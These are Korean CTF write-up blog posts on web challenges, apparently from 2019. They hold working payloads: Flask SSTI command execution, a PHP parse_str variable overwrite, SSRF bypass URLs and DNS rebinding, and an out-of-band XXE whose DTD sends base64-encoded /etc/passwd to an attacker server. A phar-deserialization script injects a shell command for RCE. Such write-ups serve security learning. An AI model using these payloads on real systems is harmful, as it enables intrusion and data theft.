Flask SSTI인데 필터링이 _ 랑 . 이렇게 두개밖에 없다. 필터가 빡센편이 아니라 아래 페이로드로 우회해서 명령어 실행해주면 된다. 


payload

{{''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][2]['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('ls')['read']()}}


{{''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][2]['\x5f\x5fsubclasses\x5f\x5f']()[59]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('cat fort\x2epy')['read']()}}



'CTF > Writeup' 카테고리의 다른 글

DEF CON CTF Qualifier 2019 cant_even_unplug_it  (0) 2019.05.13
angstrom ctf 2019 Web Write up  (0) 2019.04.25
Byte Bandits CTF 2019 Web Writeup  (0) 2019.04.14
Midnight Sun CTF 2019 Quals Rubenscube  (0) 2019.04.08
CBM CTF 2019 Writeup  (0) 2019.04.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

EasyPHP


문제에서 소스를 제공해준다. 간단한 PHP Trick류다.


<?php
$hashed_key 
'79abe9e217c2532193f910434453b2b9521a94c25ddc2e34f55947dea77d70ff';
$parsed parse_url($_SERVER['REQUEST_URI']);
if(isset(
$parsed["query"])){
    
$query $parsed["query"];
    
$parsed_query parse_str($query);
    if(
$parsed_query!=NULL){
        
$action $parsed_query['action'];
    }

    if(
$action==="auth"){
        
$key $_GET["key"];
        
$hashed_input hash('sha256'$key);
        
//echo $hashed_input.'\n';
        
if($hashed_input!==$hashed_key){
            die(
"GTFO!");
        }

        echo 
file_get_contents("/flag");
    }
}else{
    
show_source(__FILE__);
}
?>


인풋의 sha256값이 79abe9e217c2532193f910434453b2b9521a94c25ddc2e34f55947dea77d70ff 값이어야 하는데 해당 값은 레인보우 테이블에서 조회되지 않는 값이라 원본 값을 모른다.


근데 딱봐도 수상한게 action파라미터 값 받아올 때 $_GET['action'] 일케 안받고 parse_str쓰고 있다. parse_str은 변수를 덮을 수 있어서 그냥 hashed_key를 덮어버리면 된다.


payload

http://easyphp.ctf.euristica.in/?action=auth&key=1&hashed_key=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b



Online Previewer 1


SSRF 문제다. 소스에서 http://127.0.0.1:1337로 접근하라고 하는데 필터가 되어있다.


http://asdf@127.0.0.1:1337

http://asdf#@127.0.0.1:1337

http://asdf?@127.0.0.1:1337

http://2130706433:1337/

http://0177.0.0.1:1337/

http://localhost:1337/


http://my_server/test.php


test.php

<?php

header('Location: http://127.0.0.1:1337');

?>


..등등


요런거 다 안먹혀서 localhost말고 127.0.0.1 반환해주는 도메인을 사용했다.


payload 

http://lvh.me:1337



ImgAccess


업로드 기능이랑, url 요청 기능이 있다.

url 요청할때 ssrf가 터져서 내 서버로 요청해보면 헤더에 플래그가 있다. 근데 뭔가 이상해서 관리자분한테 의도된 풀이냐 물어보니까 아니라고 답변이 왔다. 문제풀때 쓴 페이로드 제보하고나서 나중에 문제가 패치되었다고 관리자분이 재밌을거라고 다시 풀어보랬는데 아직 문제를 못봤다. 나중에 서버가 계속 열려있으면 시간날때 풀어봐야 겠다.


Online Previewer 2

이전 SSRF 문제 업그레이드 버전이다. 기존이랑 달리 단순히 요청 값 파싱한 후 호스트 문자열을 검사하는게 아니고 실제 DNS Query를 날려서 반환된 IP를 체크하는 것 같았다. 그래서 기존 http://lvh.me:1337 페이로드가 안먹혔다.

위와 같은 검증로직에서는 DNS Rebinding써주면 되서 간단하게 도메인 하나에 아이피를 my_server_ip,127.0.0.1 요런식으로 두개 등록해놓고 계속 패킷 날려줬다.

몇번 하다보면 처음 검증쿼리때는 my_server_ip가 리턴되서 필터가우회되고 두번째 실제 요청 시에는 127.0.0.1이 리턴되는 형태로 타이밍이 맞는 순간이 와서 플래그가 나온다.






















'CTF > Writeup' 카테고리의 다른 글

angstrom ctf 2019 Web Write up  (0) 2019.04.25
ASIS CTF 2019 Fort Knox  (0) 2019.04.22
Midnight Sun CTF 2019 Quals Rubenscube  (0) 2019.04.08
CBM CTF 2019 Writeup  (0) 2019.04.08
Midnightsun CTF 2019 Marcodowno  (0) 2019.04.07
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

근래 풀어본 CTF 웹 문제중에 가장 재미있게 풀어서 오랜만에 자세하게 풀이를 남겨봤다.


먼저 문제에서 코드를 제공해 준다. 총 3개의 PHP 파일을 주는데 각  소스는 아래와 같다.


index.php


<?php

session_start();

?>

<!DOCTYPE html>

<html lang="en">


<head>

    <link type="text/css" rel="stylesheet" href="style.css" />

</head>

<body>

            <div class="container">

                <img src="static/robot.png" class="centered imgrobot" />

                <form method="post" action="upload.php" enctype="multipart/form-data">

                        <input type="file" onchange="this.form.submit()" name="image" class="btn"/>

                </form>

                <hr>

                <div class="center">

                <?php

                $base_dir = "images/" . session_id() . "/";

                foreach (glob($base_dir . "*_thumb*") as $filename) {

                    // cut off _thumb.jpg

                    $fname = substr($filename, 0, -10);

                    $large_fname = glob( $fname . "*")[0];

                    echo "<a href='$large_fname'><img src='$filename' /></a>\n";

                }

                ?>

                </div>

            </div>


</body>

</html>



gallery.php


<?php

session_start();

?>


<!DOCTYPE html>

<html lang="en">


<head>

    <link type="text/css" rel="stylesheet" href="style.css" />

</head>

<body>


<form method="post" action="upload.php" enctype="multipart/form-data">

    <div class="container">

        <h1>Your Uploaded Images:</h1>

        <?php

        $base_dir = "images/" . session_id() . "/";

        foreach (glob($base_dir . "*_thumb*") as $filename) {

            // cut off _thumb.jpg

            $fname = substr($filename, 0, -10);

            $large_fname = glob( $fname . "*")[0];

            echo "<a href='$large_fname'><img src='$filename' /></a>\n";

        }

        ?>

    </div>

    <div class="container">

        <a href="index.php">Upload More</a></span>

    </div>

</form>

</body>


</html>



upload.php


<?php

session_start();


function calcImageSize($file, $mime_type) {

    if ($mime_type == "image/png"||$mime_type == "image/jpeg") {

        $stats = getimagesize($file);  // Doesn't work for svg...

        $width = $stats[0];

        $height = $stats[1];

    } else {

        $xmlfile = file_get_contents($file);

        $dom = new DOMDocument();

        $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);

        $svg = simplexml_import_dom($dom);

        $attrs = $svg->attributes();

        $width = (int) $attrs->width;

        $height = (int) $attrs->height;

    }

    return [$width, $height];

}



class Image {


    function __construct($tmp_name)

    {

        $allowed_formats = [

            "image/png" => "png",

            "image/jpeg" => "jpg",

            "image/svg+xml" => "svg"

        ];

        $this->tmp_name = $tmp_name;

        $this->mime_type = mime_content_type($tmp_name);


        if (!array_key_exists($this->mime_type, $allowed_formats)) {

            // I'd rather 500 with pride than 200 without security

            die("Invalid Image Format!");

        }


        $size = calcImageSize($tmp_name, $this->mime_type);

        if ($size[0] * $size[1] > 1337 * 1337) {

            die("Image too big!");

        }


        $this->extension = "." . $allowed_formats[$this->mime_type];

        $this->file_name = sha1(random_bytes(20));

        $this->folder = $file_path = "images/" . session_id() . "/";

    }


    function create_thumb() {

        $file_path = $this->folder . $this->file_name . $this->extension;

        $thumb_path = $this->folder . $this->file_name . "_thumb.jpg";

        system('convert ' . $file_path . " -resize 200x200! " . $thumb_path);

    }


    function __destruct()

    {

        if (!file_exists($this->folder)){

            mkdir($this->folder);

        }

        $file_dst = $this->folder . $this->file_name . $this->extension;

        move_uploaded_file($this->tmp_name, $file_dst);

        $this->create_thumb();

    }

}


new Image($_FILES['image']['tmp_name']);

header('Location: index.php');



위 코드 중 핵심 코드는 upload.php인데 해당 소스를 쭉 오디팅 하다보면 취약점이 터질만한 곳이 대충 3군데가 보인다.


일단 기본적인 웹쉘 업로드 같은 경우는 불가능한데 코드에서 눈에 띄는게 일단 svg업로드 시 xml parsing, 파일 convert 시 system 명령어를 사용, __destruct 매직 메서드의 존재이다.


대충 위의 포인트로 터질만하다고 보여진건 xxe, command injection, imagemagik rce, php objection injection 정도였다. 근데 각 취약점 별로 실제 트리거가 가능할지 검증이 필요했다.


먼저 가장 먼저 해볼만한게 xxe였다. 코드를 보면 별다른 필터가 없어서 Externel Entity만 활성화되어있으면 그냥 로직만 쭉 따라가면 당연히 될만한 상황이었다.

파싱 후 데이터가 뿌려지는 부분이 없어서 oob를 통해 아래와 같이 검증을 해보니 실제로 xxe가 터지는걸 확인할 수 있었다.


ssr.svg


<!DOCTYPE svg [

<!ENTITY % dtd SYSTEM "http://my_ip/test.dtd">

%dtd;

%param1;

]>

<svg>&ssr;</svg>


test.dtd


<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

<!ENTITY % param1 "<!ENTITY ssr SYSTEM 'http://my_ip:9999/%data;'>">




/etc/passwd


root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

_apt:x:100:65534::/nonexistent:/bin/false

messagebus:x:101:101::/var/run/dbus:/bin/false


여기까지 트리거하고 일단 플래그 파일을 최대한 찾아봤는데 딱히 찾을만한 방법이 없었다. 그래서 위에서 처음 눈여겨봤던 다른 취약점들 트리거가 가능한지 생각해봤다. 

일단 imagemagik과 같은 경우 취약버전이 아닌지 안먹혔고 command injection과 같은 경우 일반적인 상황으로는 인자 값을 컨트롤 할 수가 없었다.

마지막 남은게 PHP Object injection이었는데 역직렬화 해주는 로직이 코드 상에는 존재하지 않았다. 그래서 눈여겨 본게 file_exists 함수였는데 해당 함수 인자로 내가 업로드한 phar 파일을 트리거 할 수가 없었다. 여기서 뭔가 방법이 없을까 하다가 까먹고 있던 xxe가 떠올랐다.

xxe를 통해 phar wrapper가 사용가능하기 때문에 php objection injection이 가능할거라 생각했고 해당 공격을 통해 $this->folder , $this->file_name , $this->extension 요 값들을 내가 원하는데로 컨트롤해 command injection을 트리거해봤다.

먼저 phar 파일은 아래 코드를 통해 image 헤더를 삽입 해 만들었고 일단 실제 생각한데로 취약점이 터지는지 확인해 봤다.

createPhar.php

<?php
class Image{};
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

$phar = new Phar('ssr.phar');
$phar->startBuffering();
$phar->addFromString('ssr', 'ssr');
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");

$object = new Image();
$object->file_name = "&id&";
$phar->setMetadata($object);
$phar->stopBuffering();



여기까지 진행 후 phar파일이 일단 업로드가 정상적으로 됬는지 확인해봤는데 여기서 조금 삽질을 했다. 업로드된 후 내가 확인한 파일은 convert작업으로인해 serialize된 데이터가 제거된 상태였다. 여기서 이걸 우회할 수가 있나라고 한참 생각하다가 실제로 해당 명령어를 로컬에서 실행해보니 기존 파일이 convert되면서 삭제 및 변경되는게 아니라 원본 그대로 유지가 되고 있었다. 원본 파일에는 serialize 데이터가 그대로 존재했기 떄문에 아래와 같이 xxe로 phar wrapper를 사용해줬고 rce가 터지는걸 확인할 수 있었다.




여기서부턴 그냥 rce로 플래그 파일 찾으면 된다. 아래와 같이 실행권한만 있는 플래그 파일이 있어서 실행해주니 플래그가 나왔다.




Flag: midnight{R3lying_0n_PHP_4lw45_W0rKs}









'CTF > Writeup' 카테고리의 다른 글

ASIS CTF 2019 Fort Knox  (0) 2019.04.22
Byte Bandits CTF 2019 Web Writeup  (0) 2019.04.14
CBM CTF 2019 Writeup  (0) 2019.04.08
Midnightsun CTF 2019 Marcodowno  (0) 2019.04.07
Radar CTF 2019 Inj3c7  (0) 2019.04.05
블로그 이미지

JeonYoungSin

메모 기록용 공간

,